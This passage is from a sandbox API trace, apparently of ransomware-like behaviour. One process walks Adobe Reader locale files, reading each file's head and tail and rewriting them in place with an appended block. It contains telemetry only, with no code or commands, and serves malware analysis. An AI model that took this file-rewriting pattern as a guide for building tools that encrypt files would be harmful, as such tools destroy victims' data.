(in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3000 [0037.260] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.261] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.261] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.261] CloseHandle (hObject=0x1b4) returned 1 [0037.261] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\BRdlang32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\brdlang32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.267] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.267] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x3400 [0037.267] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.267] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.267] ReleaseMutex (hMutex=0x128) returned 1 [0037.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.267] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.SUO", cchWideChar=13, lpMultiByteStr=0x1e62fec, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.SUO", lpUsedDefaultChar=0x0) returned 13 [0037.267] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.274] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2400 [0037.274] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.281] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x2400 [0037.281] WriteFile (in: hFile=0x1b4, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.281] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.281] WriteFile (in: hFile=0x1b4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.282] CloseHandle (hObject=0x1b4) returned 1 [0037.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\PPKLITE.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\ppklite.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0037.287] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.287] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x7d800 [0037.287] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.287] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.287] ReleaseMutex (hMutex=0x128) returned 1 [0037.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.287] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.SUO", cchWideChar=11, lpMultiByteStr=0x1e6340c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.SUO", lpUsedDefaultChar=0x0) returned 11 [0037.288] ReadFile (in: hFile=0x1c4, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x32cf278*=0x8000, lpOverlapped=0x0) returned 1 [0037.292] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7c800 [0037.292] ReadFile (in: hFile=0x1c4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.298] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x7c800 [0037.298] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.298] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.298] WriteFile (in: hFile=0x1c4, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x32cf28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.299] CloseHandle (hObject=0x1c4) returned 1 [0037.299] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\updater.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\updater.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.305] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.305] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x2800 [0037.305] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.305] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.305] ReleaseMutex (hMutex=0x128) returned 1 [0037.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.305] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="updater.SUO", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updater.SUO", lpUsedDefaultChar=0x0) returned 11 [0037.306] ReadFile (in: hFile=0x1b4, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.309] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1800 [0037.309] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0037.311] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x1800 [0037.311] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.311] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0037.311] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.311] CloseHandle (hObject=0x1b4) returned 1 [0037.311] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\eBook.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ebook.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0037.311] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.311] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1c00 [0037.311] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0037.312] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.312] ReleaseMutex (hMutex=0x128) returned 1 [0037.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0037.312] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.FRA", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.FRA", lpUsedDefaultChar=0x0) returned 9 [0037.312] ReadFile (in: hFile=0x1b4, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1c00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x32cf2bc*=0x1c00, lpOverlapped=0x0) returned 1 [0037.316] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0037.316] WriteFile (in: hFile=0x1b4, lpBuffer=0x1daf238*, nNumberOfBytesToWrite=0x2188, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x1daf238*, lpNumberOfBytesWritten=0x32cf2d0*=0x2188, lpOverlapped=0x0) returned 1 [0038.042] CloseHandle (hObject=0x1b4) returned 1 [0038.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\SaveAsRTF.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\saveasrtf.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0038.043] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.043] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x4e00 [0038.043] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.043] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.043] ReleaseMutex (hMutex=0x128) returned 1 [0038.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.FRA", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.FRA", lpUsedDefaultChar=0x0) returned 13 [0038.043] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.044] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3e00 [0038.044] ReadFile (in: hFile=0x1b4, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.045] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x3e00 [0038.045] WriteFile (in: hFile=0x1b4, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.046] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.046] WriteFile (in: hFile=0x1b4, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x32cf28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.046] CloseHandle (hObject=0x1b4) returned 1 [0038.046] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\AdobeCollabSync.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\adobecollabsync.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.047] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.047] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x1a00 [0038.047] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.047] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.047] ReleaseMutex (hMutex=0x128) returned 1 [0038.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0038.047] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.HRV", cchWideChar=19, lpMultiByteStr=0x1e78bcc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.HRV", lpUsedDefaultChar=0x0) returned 19 [0038.047] ReadFile (in: hFile=0x1b0, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x32cf2bc*=0x1a00, lpOverlapped=0x0) returned 1 [0038.049] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0038.049] WriteFile (in: hFile=0x1b0, lpBuffer=0x2617ca8*, nNumberOfBytesToWrite=0x1f88, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x2617ca8*, lpNumberOfBytesWritten=0x32cf2d0*=0x1f88, lpOverlapped=0x0) returned 1 [0038.049] CloseHandle (hObject=0x1b0) returned 1 [0038.049] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Multimedia.HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\multimedia.hrv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.049] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.049] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x13c00 [0038.050] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.050] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.050] ReleaseMutex (hMutex=0x128) returned 1 [0038.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0038.050] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.HRV", cchWideChar=14, lpMultiByteStr=0x1e6314c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.HRV", lpUsedDefaultChar=0x0) returned 14 [0038.050] ReadFile (in: hFile=0x1b0, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x32cf278*=0x4000, lpOverlapped=0x0) returned 1 [0038.052] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12c00 [0038.053] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x32cf278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x32cf278*=0x1000, lpOverlapped=0x0) returned 1 [0038.053] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x32cf2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf2e8*=0) returned 0x12c00 [0038.053] WriteFile (in: hFile=0x1b0, lpBuffer=0x2772388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesWritten=0x32cf28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.053] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf2bc*=0) returned 0x0 [0038.053] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x32cf28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x32cf28c*=0x4000, lpOverlapped=0x0) returned 1 [0038.053] CloseHandle (hObject=0x1b0) returned 1 [0038.054] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hr_HR\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hr_hr\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0038.054] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.054] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0xe6 [0038.054] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.054] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.054] ReleaseMutex (hMutex=0x128) returned 1 [0038.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0038.054] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e631cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0038.054] ReadFile (in: hFile=0x1b0, lpBuffer=0x25ea548, nNumberOfBytesToRead=0xe6, lpNumberOfBytesRead=0x32cf2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ea548*, lpNumberOfBytesRead=0x32cf2bc*=0xe6, lpOverlapped=0x0) returned 1 [0038.055] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x32cf300*=0) returned 0x0 [0038.055] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66e, lpNumberOfBytesWritten=0x32cf2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x32cf2d0*=0x66e, lpOverlapped=0x0) returned 1 [0038.055] CloseHandle (hObject=0x1b0) returned 1 [0038.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\DigSig.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\digsig.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0038.147] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x32cf8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x32cf8c0*=0) returned 0x0 [0038.147] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, 